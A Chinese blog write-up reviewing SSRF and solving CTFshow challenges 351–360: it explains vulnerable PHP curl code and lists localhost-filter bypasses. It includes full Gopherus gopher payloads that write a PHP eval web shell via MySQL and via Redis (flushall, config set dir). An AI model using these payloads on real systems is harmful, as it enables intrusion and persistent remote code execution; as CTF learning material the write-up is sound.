当前位置: 首页 > news >正文

ssrf复习(及ctfshow351-360)

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造"的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

ssrf产生原理:

服务端存在网络请求功能/函数,例如:file_get_contens()这一类类似于curl

这种函数传入的参数用户是可控的

没有对用户输入做过滤导致的ssrf漏洞

ssrf利用:

用于探测内网服务以及端口

探针存活主机以及开放服务

探针是否存在redis服务(未授权访问, 相当于是可以访问到redis服务并且开发人员不严谨没有设置密码,  因为默认是没有密码的,  或者说开发者设置了密码但是是弱口令),  利用定时任务反弹shell

思维导图

Web351

代码解释:

<?php  

// 开启PHP的错误报告,但这里设置为0,即关闭所有错误报告。这通常不推荐在生产环境中使用,因为它会隐藏所有错误和警告。  

error_reporting(0);  

// 使用highlight_file函数高亮显示当前PHP文件的源代码。这通常用于教学或调试目的,但在生产环境中可能会暴露敏感信息。  

highlight_file(__FILE__);  

// 从POST请求中获取名为'url'的参数值,并将其存储在变量$url中。  

$url=$_POST['url'];  

// 初始化一个新的cURL会话,并将之前获取的URL作为参数传递给curl_init函数。  

$ch=curl_init($url);  

// 设置cURL选项,关闭cURL请求头信息的输出。这意味着cURL不会返回HTTP头部信息,只返回主体内容。  

curl_setopt($ch, CURLOPT_HEADER, 0);  

// 设置cURL选项,将CURLOPT_RETURNTRANSFER设置为1,这意味着cURL执行的结果(即请求的响应)将被作为字符串返回,而不是直接输出。  

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

// 执行cURL会话,并将结果存储在变量$result中。  

$result=curl_exec($ch);  

// 关闭cURL会话并释放所有资源。  

curl_close($ch);  

// 输出cURL请求的结果(即请求的响应内容)。  

echo ($result);  

?>

函数解释:

1.curl_init()   初始化cURL,返回资源给$ch

2.curl_setopt() 设置一个cURL传输选项

bool curl_setopt ( resource $ch , int $option , mixed $value )

参数一:curl资源 参数二:设置的请求选项 参数三:请求选项的值

CURLOPT_HEADER         启用时会将头文件的信息作为数据流输出。

URLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

3.curl_exec()执行cURL资源,并传递给浏览器

4.curl_close()关闭cURL资源

Payload

url=http://127.0.0.1/flag.php

Web352

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'或'127.0.0'(注意:这里只检查了'127.0.0'的前缀,没有完整的IP地址检查)  

    // 但是,preg_match函数的调用方式不正确,因为它没有指定完整的模式字符串和待匹配的字符串  

    // 正确的调用应该是preg_match('/localhost|127\.0\.0\./', $url)  

    if(!preg_match('/localhost|127.0.0/')){  

        // 如果URL通过了协议和本地地址的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'或'127.0.0'(尽管由于正则表达式的问题,这个检查可能不准确),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

正则绕过127.0.0.1

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1     简写

Ip地址转换器地址

IP地址进制转换本计算器可以在线进行IP地址的二进制、十六进制、十进制的互换。icon-default.png?t=N7T8https://tool.520101.com/wangluo/jinzhizhuanhuan/

Web353

匹配不包含 localhost 或以 127. 开头的 IP 地址(如 127.0.0.1)的 URL,您可以使用以下正则表达式

编码绕过:

payload:

url=http://0x7f.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0.0.0.0/flag.php        0.0.0.0代表本机

url=http://0x7F000001/flag.php   16进制地址

url=http://2130706433/flag.php 10进制地址

url=http://127.1/flag.php   简写

Web354

代码解释:

<?php  

// 关闭PHP的错误报告  

error_reporting(0);  

  

// 高亮显示当前PHP文件的源代码,这通常不应在生产环境中使用  

highlight_file(__FILE__);  

  

// 从POST请求中获取名为'url'的参数值  

$url=$_POST['url'];  

  

// 使用parse_url函数解析URL,并将结果存储在$x数组中  

$x=parse_url($url);  

  

// 检查URL的协议是否为'http'或'https'  

if($x['scheme']==='http'||$x['scheme']==='https'){  

    // 尝试使用正则表达式检查URL是否不包含'localhost'、'1'、'0'或字面量字符'。'(但这里的使用可能是错误的)  

    // 注意:这个正则表达式实际上会匹配任何包含'1'、'0'或'。'(后者可能是一个打字错误,意图可能是'.')的URL  

    if(!preg_match('/localhost|1|0|。/i', $url)){  

        // 如果URL通过了协议和正则表达式的检查,则初始化cURL会话  

        $ch=curl_init($url);  

          

        // 设置cURL选项以关闭头部信息的输出并返回结果作为字符串  

        curl_setopt($ch, CURLOPT_HEADER, 0);  

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  

          

        // 执行cURL请求,并将结果存储在$result中  

        $result=curl_exec($ch);  

          

        // 关闭cURL会话  

        curl_close($ch);  

          

        // 输出cURL请求的结果  

        echo ($result);  

    }  

    else{  

        // 如果URL包含'localhost'、'1'、'0'或'。'(考虑到'。'可能是打字错误),则终止脚本执行  

        die('hacker');  

    }  

}  

else{  

    // 如果URL的协议不是'http'或'https',则终止脚本执行  

    die('hacker');  

}  

?>

法一

url=http://sudo.cc/flag.php

sudo.cc相当于127.0.0.1 

方法二(未解决)

302跳转

在自己的网站页面添加

<?php

header("Location:http://127.0.0.1/flag.php");

重定向到127

方法三(未解决)

DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

查看 profile

Web355

if((strlen($host)<=5))

要求host长度小于5位

url=http://127.1/flag.php

Web356

if((strlen($host)<=3)){

要求长度小于3位

url=http://0/flag.php

# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

Web358

php复制代码

if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){

echo file_get_contents($url);

}

这段代码使用preg_match()函数来验证$url是否满足特定的正则表达式模式。这个

'^http:\/\/ctf\..*show$'意味着:

URL必须以http://开头。

紧接着必须是ctf.(不区分大小写,因为使用了i修饰符)。

然后是任意数量的任意字符(.表示任意字符,*表示前面的字符可以出现0次或多次)。

最后必须以show结尾。

如果URL满足这个模式,file_get_contents()函数将被调用,尝试获取该URL指向的内容,并将其输出到屏幕上。

payload:

url=http://ctf.@127.0.0.1/flag.php#show

url=http://ctf.@127.0.0.1/flag.php?show

Web359

登录抓包发现

u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F

存在ssrf

Gopher协议打MySQL

具体原理:CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户

先下载Gopherus

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py

python2 .\gopherus.py --exploit mysql

username:root

写入一句话木马

select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

对_再进行url编码

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2532%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

Web360

Payload生成:

python2 gopherus.py --exploit redis

<?php @eval($_POST['cmd']);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Url编码

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

相关文章:

ssrf复习(及ctfshow351-360)

1. SSRF 概述 服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL&#xff0c;Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。 如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤&#xff0c;就有可能存在“请求伪造"的缺陷…...

请求通过Spring Cloud Gateway 503

最近想处理一个通用的网关服务。 但是我在处理好所有配置的时候发现&#xff0c;网络请求过网关的时候&#xff0c;一直503&#xff0c;我所有的配置都没问题。 环境&#xff1a; JDK&#xff1a; 17 Spring Cloud: 2023.0.2 在 Spring Cloud Gateway 的早期版本中&#xff…...

C++代码_让室友坑我

引子 今天古文波在外地上C集训营&#xff0c;结果却被一起学习的室友坑了。啊&#xff0c;好气&#xff0c;我要报复室友。 所以&#xff0c;我写出了死亡代码。 如果你也想报复某些人&#xff0c;可以看下去。 代码构造&#xff1a; 头文件 想要使用一些函数&#xff0c;如…...

AG32 的MCU与FPGA的主频可以达到568MHz吗

Customers: AG32/ AGRV2K 这个芯片主频和定时器最高速度是多少&#xff1f;用户期望 CPLD计时器功能0.1ns以下。 AGM RE: CPLD做不到 0.1ns的速率&#xff0c;这个需要10G以上的时钟。 那AGRV2K最高多少MHz呢&#xff1f; 一般200MHZ比较容易实现。 进一步说明&#xff1…...

怎样减少视频的容量 怎样减少视频内存保持清晰度

在数字媒体时代&#xff0c;视频内容已经成为人们日常交流和信息传递的重要方式。然而&#xff0c;视频往往占用大量存储空间&#xff0c;给我们的设备带来不小的负担。如何在不损失视频质量的前提下&#xff0c;减少视频文件的大小呢&#xff1f;本文将为你揭秘几个实用的技巧…...

谈一谈一条SQL的查询、更新语句究竟是如何执行的?

文章目录 理解执行流程衍生知识redo logbinlog 本篇文章是基于《MySQL45讲》来写的个人理解与感悟。 理解 先看下图&#xff1a; 上一篇文章我们讨论了一条SQL查询语句的执行流程&#xff0c;并介绍了执行过程中涉及的处理模块。 回顾一下&#xff1a; 大体来说&#xff0c;…...

自动驾驶AVM环视算法–全景和标定全功能算法实现和exe测试demo

参考&#xff1a;全景和标定全功能算法实现和exe测试demo-金书世界 1、测试环境 opencv310vs2022 2、使用的编程语言 c和c 3、测试的demo的获取 更新&#xff1a;测试的exe程序&#xff0c;无需解压码就可以体验算法测试效果 百度网盘&#xff1a; 链接&#xff1a;http…...

【Docker 系列】学习路线

学习基本概念&#xff1a; 了解容器化与虚拟化的区别了解Docker的基本概念、术语和架构 安装Docker&#xff1a; 根据所使用的操作系统&#xff0c;安装Docker Desktop&#xff08;Windows、macOS&#xff09;或Docker Engine&#xff08;Linux&#xff09; Docker镜像&#xf…...

蓝色系信息工作室建站网站源码系统 带模版手机端 带完整的源代码包以及搭建部署教程

系统概述 信息工作室建站网站源码系统是一款专为追求高效、灵活与个性化建站需求的用户设计的综合性平台。该系统不仅提供了丰富的网站构建模块和预设模版&#xff0c;还支持手机端自适应布局&#xff0c;确保网站在不同设备上都能展现出最佳效果。此外&#xff0c;系统附带完…...

什么是带宽限制,如何影响服务器数据传输?

什么是带宽限制? 带宽限制是指网络连接中的数据传输速率上限&#xff0c;通常以每秒传输的数据量(比特或字节)来衡量。例如&#xff0c;一个服务器的带宽限制为100 Mbps&#xff0c;意味着它在理想情况下每秒最多能传输100兆比特的数据。带宽限制由网络服务提供商或数据中心设…...

RISC-V在线反汇编工具

RISC-V在线反汇编工具&#xff1a; https://luplab.gitlab.io/rvcodecjs/#q34179073&abifalse&isaAUTO 不过&#xff0c;似乎&#xff0c;只支持RV32I、RV64I、RV128I指令集&#xff1a;...

从零手写实现 nginx-32-load balance 负载均衡算法 java 实现

前言 大家好&#xff0c;我是老马。很高兴遇到你。 我们为 java 开发者实现了 java 版本的 nginx https://github.com/houbb/nginx4j 如果你想知道 servlet 如何处理的&#xff0c;可以参考我的另一个项目&#xff1a; 手写从零实现简易版 tomcat minicat 手写 nginx 系列 …...

基于STC89C51单片机的烟雾报警器设计(煤气火灾检测报警)(含文档、源码与proteus仿真,以及系统详细介绍)

本篇文章论述的是基于STC89C51单片机的烟雾报警器设计的详情介绍&#xff0c;如果对您有帮助的话&#xff0c;还请关注一下哦&#xff0c;如果有资源方面的需要可以联系我。 目录 摘要 原理图 实物图 仿真图 元件清单 代码 系统论文 资源下载 摘要 随着现代家庭用火、…...

SpringBoot整合阿里云RocketMQ对接,商业版

1.需要阿里云开通商业版RocketMQ 普通消息新建普通主题,普通组,延迟消息新建延迟消息主题,延迟消息组 2.结构目录 3.引入依赖 <!--阿里云RocketMq整合--><dependency><groupId>com.aliyun.openservices</groupId><artifactId>ons-client</…...

modbus slave 设备通过 网关thingsboard-gateway 将数据上传到thingsboard云平台

搭建thingsboard物联网云平台花了大量时间&#xff0c;从小白到最后搭建成功&#xff0c;折磨了好几天&#xff0c;也感谢网友的帮助&#xff0c;提供了思路最终成功搞定&#xff0c;特此记录。 一、thingsboard环境搭建&#xff08;Ubuntu20.04LTS&#xff09; 参考官方文档&a…...

安全防御:智能选路

目录 一、智能选路 1.1 就近选路 1.2 策略路由 1.3 虚拟系统---VRF 二、全局选路策略 1&#xff0c;基于链路带宽进行负载分担 2&#xff0c;基于链路质量进行负载分担 3&#xff0c;基于链路权重的负载分担 4&#xff0c;根据链路优先级的主备备份 DNS透明代理 一、…...

Gitee使用教程2-克隆仓库(下载项目)并推送更新项目

一、下载 Gitee 仓库 1、点击克隆-复制代码 2、打开Git Bash 并输入复制的代码 下载好后&#xff0c;找不到文件在哪的可以输入 pwd 找到仓库路径 二、推送更新 Gitee 项目 1、打开 Git Bash 用 cd 命令进入你的仓库&#xff08;我的仓库名为book&#xff09; 2、添加文件到 …...

Postfix+Dovecot+Roundcube开源邮件系统搭建系列1-2:系统搭建目标+MariaDB数据库配置(MySQL)

1. 系统搭建目标 通过本系列文章&#xff0c;最终可以部署一套提供如下服务的邮件系统&#xff1a; SMTP服务&#xff1a;由Postfix提供&#xff0c;监听25、465、587端口。POP3服务&#xff1a;由Dovecot提供&#xff0c;监听110、995端口。IMAP服务&#xff1a;由Dovecot提…...

Flower花所比特币交易及交易费用科普

在加密货币交易中&#xff0c;选择一个可靠的平台至关重要。Flower花所通过提供比特币交易服务脱颖而出。本文将介绍在Flower花所进行比特币交易的基础知识及其交易费用。 什么是Flower花所&#xff1f; Flower花所是一家加密货币交易平台&#xff0c;为新手和资深交易者提供…...

1个Xpath定位可以在Web页面查找到多个元素Selenium

1个Xpath定位可以在Web页面查找到多个元素Selenium//input[id\"transactionId\"] 打开Web页面&#xff0c; 点击F12可以看到压面 点击Ctrl F 可以点图如下图的输入框&#xff0c;输入xpath&#xff0c;看右侧可以找到3个对应的元素 点击Ctrl F 点击Ctrl F 点…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

服务器硬防的应用场景都有哪些?

服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式&#xff0c;避免服务器受到各种恶意攻击和网络威胁&#xff0c;那么&#xff0c;服务器硬防通常都会应用在哪些场景当中呢&#xff1f; 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...

【算法训练营Day07】字符串part1

文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接&#xff1a;344. 反转字符串 双指针法&#xff0c;两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...

GruntJS-前端自动化任务运行器从入门到实战

Grunt 完全指南&#xff1a;从入门到实战 一、Grunt 是什么&#xff1f; Grunt是一个基于 Node.js 的前端自动化任务运行器&#xff0c;主要用于自动化执行项目开发中重复性高的任务&#xff0c;例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

莫兰迪高级灰总结计划简约商务通用PPT模版

莫兰迪高级灰总结计划简约商务通用PPT模版&#xff0c;莫兰迪调色板清新简约工作汇报PPT模版&#xff0c;莫兰迪时尚风极简设计PPT模版&#xff0c;大学生毕业论文答辩PPT模版&#xff0c;莫兰迪配色总结计划简约商务通用PPT模版&#xff0c;莫兰迪商务汇报PPT模版&#xff0c;…...

如何更改默认 Crontab 编辑器 ?

在 Linux 领域中&#xff0c;crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用&#xff0c;用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益&#xff0c;允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...

探索Selenium:自动化测试的神奇钥匙

目录 一、Selenium 是什么1.1 定义与概念1.2 发展历程1.3 功能概述 二、Selenium 工作原理剖析2.1 架构组成2.2 工作流程2.3 通信机制 三、Selenium 的优势3.1 跨浏览器与平台支持3.2 丰富的语言支持3.3 强大的社区支持 四、Selenium 的应用场景4.1 Web 应用自动化测试4.2 数据…...

前端高频面试题2:浏览器/计算机网络

本专栏相关链接 前端高频面试题1&#xff1a;HTML/CSS 前端高频面试题2&#xff1a;浏览器/计算机网络 前端高频面试题3&#xff1a;JavaScript 1.什么是强缓存、协商缓存&#xff1f; 强缓存&#xff1a; 当浏览器请求资源时&#xff0c;首先检查本地缓存是否命中。如果命…...

React从基础入门到高级实战:React 实战项目 - 项目五:微前端与模块化架构

React 实战项目&#xff1a;微前端与模块化架构 欢迎来到 React 开发教程专栏 的第 30 篇&#xff01;在前 29 篇文章中&#xff0c;我们从 React 的基础概念逐步深入到高级技巧&#xff0c;涵盖了组件设计、状态管理、路由配置、性能优化和企业级应用等核心内容。这一次&…...